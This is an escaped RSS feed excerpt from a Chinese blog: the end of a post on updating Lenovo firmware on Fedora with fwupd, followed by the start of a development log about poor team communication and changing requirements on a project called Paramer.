&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl restart upower.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl restart intel_lpmd.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl is-active upower.service intel_lpmd.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl --failed --no-legend
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;important root 快照实际返回 &lt;code&gt;#15&lt;/code&gt;。DNF 安装了 &lt;code&gt;upower-1.91.3-1.fc44&lt;/code&gt; 及其 5 个依赖，总计约 1 MiB；随后 UPower 能正确枚举 BAT0、AC 与两个 USB-C power source。重置失败状态并重启后：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ systemctl is-active upower.service intel_lpmd.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;active
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;active
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ systemctl --failed --no-legend
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;（无输出）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;intel_lpmd&lt;/code&gt; 常驻内存约 2.8 MiB。它仍会输出 &lt;code&gt;Open /proc/sys/kernel/sched_itmt_enabled failed&lt;/code&gt;，但不再 core dump；真正致命的是 Fedora Server 最小安装缺少 UPower，而 &lt;code&gt;intel-lpmd&lt;/code&gt; 没有正确处理该依赖缺失。&lt;/p&gt;
&lt;p&gt;固件则全部来自 LVFS trusted metadata。&lt;code&gt;fwupdmgr 2.1.6&lt;/code&gt; 当前列出的目标是：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;设备&lt;/th&gt;
&lt;th&gt;当前版本&lt;/th&gt;
&lt;th&gt;目标版本&lt;/th&gt;
&lt;th&gt;紧急度&lt;/th&gt;
&lt;th&gt;主要内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Embedded Controller&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.1.8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.1.14&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;medium&lt;/td&gt;
&lt;td&gt;改进 EC/ME/TPM backup protection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intel Management Engine&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.5.2141&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.15.2515&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;high&lt;/td&gt;
&lt;td&gt;修复 CVE-2024-38307、CVE-2024-30211、CVE-2024-26021&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System Firmware&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.1.15&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.1.26&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;high&lt;/td&gt;
&lt;td&gt;升级 Lenovo Diagnostics 模块&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UEFI dbx&lt;/td&gt;
&lt;td&gt;&lt;code&gt;20240301&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;20260402&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;high&lt;/td&gt;
&lt;td&gt;撤销存在 Secure Boot 绕过风险的签名，包含 CVE-2026-8863&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;四项都标记为 &lt;code&gt;needs-reboot&lt;/code&gt;，前三项还要求 AC 电源。准备保留 fwupd 的默认 safety checks，只跳过更新完成后的交互式重启询问：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo fwupdmgr refresh --force
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo fwupdmgr update --assume-yes --no-reboot-check
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fwupdmgr get-updates
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;第一次下载在约一分钟后收到 LVFS/CDN 的 transient HTTP 504，没有写入 capsule。加入 &lt;code&gt;--download-retries 5&lt;/code&gt; 后下载与解包成功，但 staging 又在写入前停止：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/libexec/fwupd/efi/fwupdx64.efi and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/libexec/fwupd/efi/fwupdx64.efi.signed cannot be found
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Fedora Server 默认只装了 &lt;code&gt;fwupd&lt;/code&gt;，UpdateCapsule 所需的 EFI 程序位于独立的 &lt;code&gt;fwupd-efi-1.8-1.fc44&lt;/code&gt; 包。仓库文件列表确认它正好提供上述两个路径，因此安装：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf install -y fwupd-efi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;DNF 成功安装 &lt;code&gt;fwupd-efi-1.8-1.fc44&lt;/code&gt;。第三次运行 &lt;code&gt;fwupdmgr update&lt;/code&gt; 时没有再报告 EFI 程序缺失，但 LVFS 下载速度异常，六分多钟仍停留在下载阶段，于是用 &lt;code&gt;Ctrl-C&lt;/code&gt; 取消。随后检查 &lt;code&gt;fwupdmgr get-history&lt;/code&gt;，只记录了前一次因缺少 &lt;code&gt;fwupdx64.efi&lt;/code&gt; 而失败的尝试；&lt;code&gt;/boot/efi/EFI&lt;/code&gt; 最近 30 分钟也没有新增文件。因此这次取消没有留下待启动的 capsule。&lt;/p&gt;
&lt;p&gt;网络恢复后没有必要手工拆 CAB，仍让 fwupd 根据设备依赖统一安排四项更新：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo fwupdmgr refresh --force
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo fwupdmgr update &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --assume-yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --no-reboot-check &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --download-retries &lt;span class="m"&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo fwupdmgr get-history
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl reboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这一次四个 payload 都显示 &lt;code&gt;安装固件成功&lt;/code&gt;，重启前的 history 也全部是 &lt;code&gt;Needs reboot&lt;/code&gt;。重启后先出现 Lenovo 固件更新进度条，随后屏幕变黑，Esc/FnLock、F1、F4 三个指示灯依次亮起。这个画面很容易让人以为机器刷坏了，其实是 BIOS 更新修改 Memory Reference Code 后进行内存重新训练。Lenovo 官方说明屏幕此时可能全黑，三个 LED 会依次闪烁表示进度，并明确要求不要按电源键中断。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这一段确实很考验人类对“不要碰它”的执行力。屏幕黑着、键盘灯轮流闪，还刚好发生在刷 BIOS 之后，所有直觉都在催人长按电源键；偏偏正确操作就是把手拿开。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;内存训练完成后，机器又进入 &lt;code&gt;BIOS Self Healing backup progressing&lt;/code&gt;，走完进度条后自动启动 Fedora。新一轮 SSH 登录正常，启动时间为 &lt;code&gt;2026-07-13 03:53:46&lt;/code&gt;。实际验收：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fwupdmgr get-devices
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fwupdmgr get-history --no-unreported-check
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fwupdmgr get-updates --no-unreported-check
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /sys/class/dmi/id/bios_version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /sys/class/dmi/id/ec_firmware_release
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl is-active intel_lpmd.service upower.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl --failed --no-legend
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;设备&lt;/th&gt;
&lt;th&gt;更新前&lt;/th&gt;
&lt;th&gt;更新后&lt;/th&gt;
&lt;th&gt;验证结果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Embedded Controller&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.1.8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DMI &lt;code&gt;1.17&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;原更新目标为 &lt;code&gt;0.1.14&lt;/code&gt;；升级后旧 GUID 消失，DMI 报告了更高版本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intel Management Engine&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.5.2141&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;fwupd &lt;code&gt;0.15.2515&lt;/code&gt; / 硬件 &lt;code&gt;18.0.15.2515&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;新枚举设备状态为 &lt;code&gt;Success&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System Firmware&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.1.15&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.1.26&lt;/code&gt; / &lt;code&gt;R2DET41W&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Success&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UEFI dbx&lt;/td&gt;
&lt;td&gt;&lt;code&gt;20240301&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;20260402&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Success&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;EC 与 ME 的旧设备 ID 在 history 中仍保留 &lt;code&gt;Needs reboot&lt;/code&gt;，但不能据此认定更新失败：重启后 ME 已经以新 ID 枚举并报告目标版本；EC 的旧 GUID 不再作为 fwupd 设备出现，而 DMI 的 &lt;code&gt;ec_firmware_release&lt;/code&gt; 已经是 &lt;code&gt;1.17&lt;/code&gt;，高于原定的 &lt;code&gt;1.14&lt;/code&gt;。&lt;code&gt;intel_lpmd.service&lt;/code&gt; 与 &lt;code&gt;upower.service&lt;/code&gt; 都是 &lt;code&gt;active&lt;/code&gt;，&lt;code&gt;systemctl --failed&lt;/code&gt; 无输出。&lt;/p&gt;
&lt;p&gt;还有一个有意思的依赖链：升级到 BIOS &lt;code&gt;R2DET41W&lt;/code&gt; 和 ME &lt;code&gt;18.0.15.2515&lt;/code&gt; 后，LVFS 才展示下一版 ME &lt;code&gt;1.18.2724&lt;/code&gt;。其发行说明明确把刚完成的这两个版本列为前置条件，并修复 CVE-2025-32008、CVE-2025-20080 和 CVE-2025-27708。这是完成原四项后新解锁的后续更新，不是本轮更新失败。&lt;/p&gt;
&lt;p&gt;确认开盖、AC 在线、电池 79%、没有失败单元之后，继续让 fwupd 暂存这一项：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo fwupdmgr update &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --assume-yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --no-reboot-check &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --download-retries &lt;span class="m"&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fwupdmgr get-history --no-unreported-check
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fwupdmgr get-updates --no-unreported-check
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl reboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;暂存输出为 &lt;code&gt;安装固件成功&lt;/code&gt;，history 明确记录 &lt;code&gt;0.15.2515 -&amp;gt; 1.18.2724&lt;/code&gt;、&lt;code&gt;Needs reboot&lt;/code&gt;，而 &lt;code&gt;get-updates&lt;/code&gt; 已经显示无更新可用。第二次重启顺利完成，Fedora 于 &lt;code&gt;2026-07-13 04:14:58&lt;/code&gt; 启动。最终验收结果是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fwupd Intel Management Engine: 1.18.2724
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hardware ME: 18.1.18.2724
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update state: Success
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;available firmware updates: none
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;intel_lpmd.service: active
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upower.service: active
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;failed systemd units: none
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;journalctl -b -p warning..alert&lt;/code&gt; 中仍有 TDX 不受支持、NVMe SUBNQN、nouveau、SPI NOR、irqbalance affinity 和 &lt;code&gt;sched_itmt_enabled&lt;/code&gt; 等平台或驱动 warning，但没有 ME、UEFI capsule 或 fwupd 更新失败。至此，最初的四项固件和随后解锁的第二阶段 ME 更新全部完成。&lt;/p&gt;
&lt;p&gt;依据：&lt;a class="link" href="https://fwupd.github.io/" target="_blank" rel="noopener"
&gt;fwupd 官方文档&lt;/a&gt;、&lt;a class="link" href="https://lvfs.readthedocs.io/" target="_blank" rel="noopener"
&gt;LVFS 文档&lt;/a&gt;、&lt;a class="link" href="https://download.lenovo.com/pccbbs/pubs/p1_gen6/html/html_en/moreinfo_easy_guide_bios.html" target="_blank" rel="noopener"
&gt;Lenovo：UEFI BIOS 更新与内存重新训练&lt;/a&gt;、&lt;a class="link" href="https://packages.fedoraproject.org/pkgs/upower/upower/" target="_blank" rel="noopener"
&gt;Fedora Packages: upower&lt;/a&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;至此，“Fedora 管系统，Nix 管开发环境”已经不再是一句计划。Fedora 负责启动、安全边界、服务与硬件，Btrfs 和 Snapper 提供可以回退的实验空间，Nix 则把用户工具链收进可版本化的声明。接下来终于可以开始往 &lt;code&gt;/srv&lt;/code&gt; 里放真正的服务了。&lt;/p&gt;</description></item><item><title>Paramer 开发记录 2 - 低效沟通的灾难与异步协作的探索</title><link>https://v3n0.com/post/paramer/2/</link><pubDate>Tue, 16 Jun 2026 16:51:56 +0800</pubDate><guid>https://v3n0.com/post/paramer/2/</guid><description>&lt;p&gt;拖更两个月，惭愧，但这两个月也是积累了相当多的新思考。&lt;/p&gt;
&lt;p&gt;第二篇原本在序言里主题被定为，开发踩坑。其实这个选题太莽撞。上篇技术选型问题也是开发踩坑问题。但是开发踩坑其实只是个表层的现象，我们要看到现象背后的本质。&lt;/p&gt;
&lt;p&gt;我实际上在第一篇之后，紧接着就为开发踩坑这一主题写了一些大纲，发现我根本写不出来。写不出来说明思考不足，经历不足，这时我就不想再硬写了，那样的文章是不成熟的没价值的。后面一段时间把本篇的草稿直接当成了《人月神话》的读书摘录笔记了，这本书真是常看常新。&lt;/p&gt;
&lt;p&gt;这一个多月我没有继续参与 Paramer 的开发工作。我先给自己差不多两周的时间自顾自放了个假，而后才回到团队。但仍然不是负责开发。由于我在项目里的参与时间足够久，项目理解足够，实际上充当了一个类似顾问的角色，因为产品经理和开发之间往往各自说着自己的语言，每天 @ 人然后失踪，然后进度停滞。我注意到这种情况时会尝试出来为双方明确各自观点，帮助同步各项任务进度，同步信息，提供项目建议。&lt;/p&gt;
&lt;p&gt;在这个过程中，因为是传话筒，所以意识到了到底有哪些话要传，什么时候要传话，不断意识到了到底在什么地方的信息沟通是低效的阻塞的。而这些是作为开发人员时，无法在团队中感知的，所谓不识庐山真面目，只缘身在此山中。&lt;/p&gt;
&lt;p&gt;开发踩坑是问题，问题背后的本质原因很多，在 Paramer 的开发经历中，团队沟通占相当大的一头。其实&lt;a class="link" href="https://v3n0.com/post/paramer/1/" target="_blank" rel="noopener"
&gt;上一篇&lt;/a&gt;我已经提到过：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;错误的团队沟通导致错误的需求理解，错误的需求理解导致错误的技术选型。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;上一篇主要聚焦在了&lt;strong&gt;需求理解&lt;/strong&gt;，它直接对于开发造成影响。这一篇继续深入讨论，谈谈&lt;strong&gt;团队沟通&lt;/strong&gt;带来的问题。它会造成远不止需求理解的问题。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="失败案例"&gt;失败案例
&lt;/h2&gt;&lt;p&gt;上回说到从 SimFlow 原型重构的 Paramer V1 由于技术选型的失误已经误入歧途。下面看看 Paramer 在歧途中经历了怎样的灾难，开发人员经历了怎样的燃烧。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“How does a project get to be a year late? &amp;hellip; One day at a time.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;千里之堤，溃于蚁穴。生病，应急任务，私人问题，客户的紧急会议，每件事只会把进度延后半天或一天，一天天的进度缓慢难以识别，难以防备。积累起来，结果就会是项目延期一年。&lt;/p&gt;
&lt;h3 id="场景一不稳定的需求"&gt;场景一：不稳定的需求
&lt;/h3&gt;&lt;p&gt;团队闲聊的时候我想问问大家有没有想写的素材，&lt;a class="link" href="blog.minblog.top" &gt;月饼&lt;/a&gt;，我们的运维，说：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这样，你直接在聊天记录里搜索”不是说好”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;确实是这样，太多次在进行功能开发的时候，做完了一个需求，结果要么是产品变卦，要么是客户变卦，又或者是在开会对进度时才提起一个被人遗忘在聊天记录里的需求，种种此类。比如要给客户适配的调度器临时变卦，比如功能开发完了才说不够还需要补上新的需求等等。&lt;/p&gt;
&lt;p&gt;还有一种情况是由于产品经理虽然做过一些技术，但并未有过该产品对应技术栈的经验，这会导致错误的在表达产品需求的过程中提出很多本不必要的技术层面的要求。例如，硬件开发经历的产品经理指导后端开发，把应用需要长时间稳定运行这一需求描述为了需要在应用里做系统服务，等等。&lt;/p&gt;
&lt;p&gt;这些情况在 Paramer 的开发历程中屡见不鲜。我举一个列表排序这种比较通用的需求案例，来讲讲当时的团队内是怎么做沟通的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Day 1&lt;/p&gt;
&lt;p&gt;开发燃烧两周之后，跑到线下开会，验收前后端实则是联调。&lt;/p&gt;
&lt;p&gt;由于接口没对好，前端出 bug 访问不到后端的 API，众人汗颜，产品表示第二天线上开会验收成果&lt;/p&gt;
&lt;p&gt;Day 2&lt;/p&gt;
&lt;p&gt;产品经理因为并不只是产品经理，他有更重要的事情忙去了，表示验收改到明天。今日并未验收&lt;/p&gt;
&lt;p&gt;今日开发无事可做&lt;/p&gt;
&lt;p&gt;Day 3&lt;/p&gt;
&lt;p&gt;开视频会议验收。产品口头表示，这个记录排序现在是按 ID 排的，记录有的绿有的黄有的红，不整齐。改成按状态排序。&lt;/p&gt;
&lt;p&gt;后端开发调整了 SQL&lt;/p&gt;
&lt;p&gt;Day 7&lt;/p&gt;
&lt;p&gt;团队内部使用人员说，这个排序顺序好像有点奇怪，状态优先级不应该是 Running 放最前面，是 Completed 放最前面。&lt;/p&gt;
&lt;p&gt;后端再次调整了 SQL&lt;/p&gt;
&lt;p&gt;Day N&lt;/p&gt;
&lt;p&gt;前端在群聊里问（没错这几乎是我们提 Issue 的方式）：
&lt;img src="https://v3n0.com/post/paramer/2/image-1.png"
width="652"
height="1016"
srcset="https://v3n0.com/post/paramer/2/image-1_hu_a2942a744e4ff4e1.png 480w, https://v3n0.com/post/paramer/2/image-1_hu_7cf0c070fa6eb9b1.png 1024w"
loading="lazy"
alt="既要又要"
class="gallery-image"
data-flex-grow="64"
data-flex-basis="154px"
&gt;
Day N+N&lt;/p&gt;
&lt;p&gt;产品给客户试用了。产品经理说，客户还是喜欢按 ID 排序。&lt;/p&gt;
&lt;p&gt;产品看了眼开发，发现他燃烧起来了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;光是这样可能看不出什么很大的问题，稍微改几行代码的事情。&lt;/p&gt;
&lt;p&gt;实则不然。&lt;/p&gt;
